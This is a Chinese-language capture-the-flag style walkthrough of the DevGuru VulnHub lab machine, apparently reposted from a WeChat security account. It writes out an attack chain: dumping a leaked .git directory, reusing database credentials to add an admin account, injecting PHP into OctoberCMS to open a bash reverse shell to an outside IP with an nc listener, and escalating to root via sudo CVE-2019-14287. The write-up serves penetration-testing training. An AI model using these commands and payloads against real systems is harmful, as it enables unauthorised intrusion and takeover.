靶场介绍:
该靶机难度为中级,据说和OSCP靶机类似
DevGuru 是一家虚构的 Web 开发公司,雇用您进行渗透测试评估。您的任务是查找其公司网站上的漏洞并获取 root 权限。
靶场下载地址:
https://www.vulnhub.com/entry/devguru-1,620/
搭建步骤:
-
- 可以自己在本机直接解压导入到vmware
- 用docker启动方法
wget https://download.vulnhub.com/devguru/devguru.ova.7z
apt-get install p7zip
apt install p7zip-full
按照之前docker镜像启动vulnhub靶场文章转成docker可用文件
docker import de.xz devguru:1.0.0
docker run -itd --name daoyisec_devguru -p 8019:80 -p 33066:3306 devguru:1.0.0 /bin/bash
3. 进入docker启动访问
docker exec -it test2 /bin/bash
sudo rm /var/lock
sudo mkdir /var/lock
sudo chmod 755 /var/lock
sudo mkdir /var/lock/apache2
sudo chmod 755 /var/lock/apache2
/etc/init.d/apache2 start
service mysql start
然后就可以正常访问了
靶场地址:关注本公众号并回复 靶场02 获取靶场地址
靶场开放5天后关闭,靶场制作不易,请各位不要破坏靶场环境,谢谢
信息收集
先nmap扫描全端口
nmap -p 1-65535 192.168.232.0/24
由于我这里已知开放8019和33066端口 这里不再扫描
直接访问8019端口,是一个web,里面什么功能也没有,然后扫描一下目录试试
这里用dirsearch扫描目录
dirsearch -u http://154.37.221.172:8019/
发现了/.git文件泄露和/adminer.php数据库文件还有一个后台目录:/backend/ 跳转到
http://154.37.221.172:8019/backend/backend/auth
git泄露漏洞利用
工具:GitHack
下载地址:https://github.com/lijiejie/GitHack
下载工具利用:
git clone https://github.com/lijiejie/GitHack
python3 GitHack.py http://154.37.221.172:8019/.git/
执行完会在当前目录生成一个文件夹 里面就是下载下来的源码
一般数据库及其他的的配置文件都会放在config目录下,看一下config目录下有哪些文件
可以看到有database.php文件,cat看下文件内容
有数据库的账号密码,再结合前面目录扫描时发现的adminer.php文件,尝试登录一下数据库
可以登录到adminer,然后找下存放账号密码的表,尝试获取账号密码登录前面发现的网站的后台
backend_users表存放的账号和密码信息,但是是加密的,先去在线解密网站尝试下解密
https://www.somd5.com/和https://www.cmd5.com/都无法解密
既然已经进到数据库了,直接添加一个账号
先用kali里自带的john工具尝试识别一下加密方式(要先把hash写到文件内)
得到加密方式是bcrypt
点击新建数据,插入一条数据,除了账号密码其他都跟原来的那条数据一样,防止权限组或者其他东西没写对,登录失败或者低权限看不到全部功能。
然后访问:http://154.37.221.172:8019/backend
账号test密码123456成功登录到后台
后台getshell
进到后台发现是用OctoberCMS搭建的,用kali下的searchsploit工具搜索一下有没有POC
但是查完没有可以shell的漏洞,一个XSS一个CSRF没啥用
用-m参数知道编号,查看完整路径
searchsploit OctoberCMS -m 42978
然后尝试CMS那里代码写入,只允许保持htm后缀文件
后面从网上找了一个方法
下面要插入code
function onStart() { echo 123; }
访问一下,没问题,代码可以执行
然后可以直接用PHP执行命令反弹shell
function onStart() { exec('bash -c "bash -i >& /dev/tcp/154.37.221.172/4466 0>&1"'); }
公网攻击机执行:
nc -lnvp 4466
然后web点击保存并访问页面触发代码
获取到了低权限的shell
这块正常还有一个通过Gitea的站点getshell,但是转成docker之后再启动还需要重装Gitea,这里就直接切到frank用户去提权,跳过通过Gitea拿shell再提权步骤了。
提权:
切换到frank用户提权
su frank 密码是daoyisec
先sudo -l查看一下sudo可以执行哪些命令
去https://gtfobins.github.io/查一下sqlite3的提权方法
但是失败了,然后sudo -V看下版本,版本低于1.8.27,存在CVE-2019-14287漏洞
执行
sudo -u#-1 sqlite3 /dev/null '.shell /bin/sh'
这里也可以用linux-exploit-suggester脚本跑一下,看看有什么漏洞可以提权
原文始发于微信公众号(道一安全):实战OSCP推荐靶场devguru 从web到提权(附在线靶场环境)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论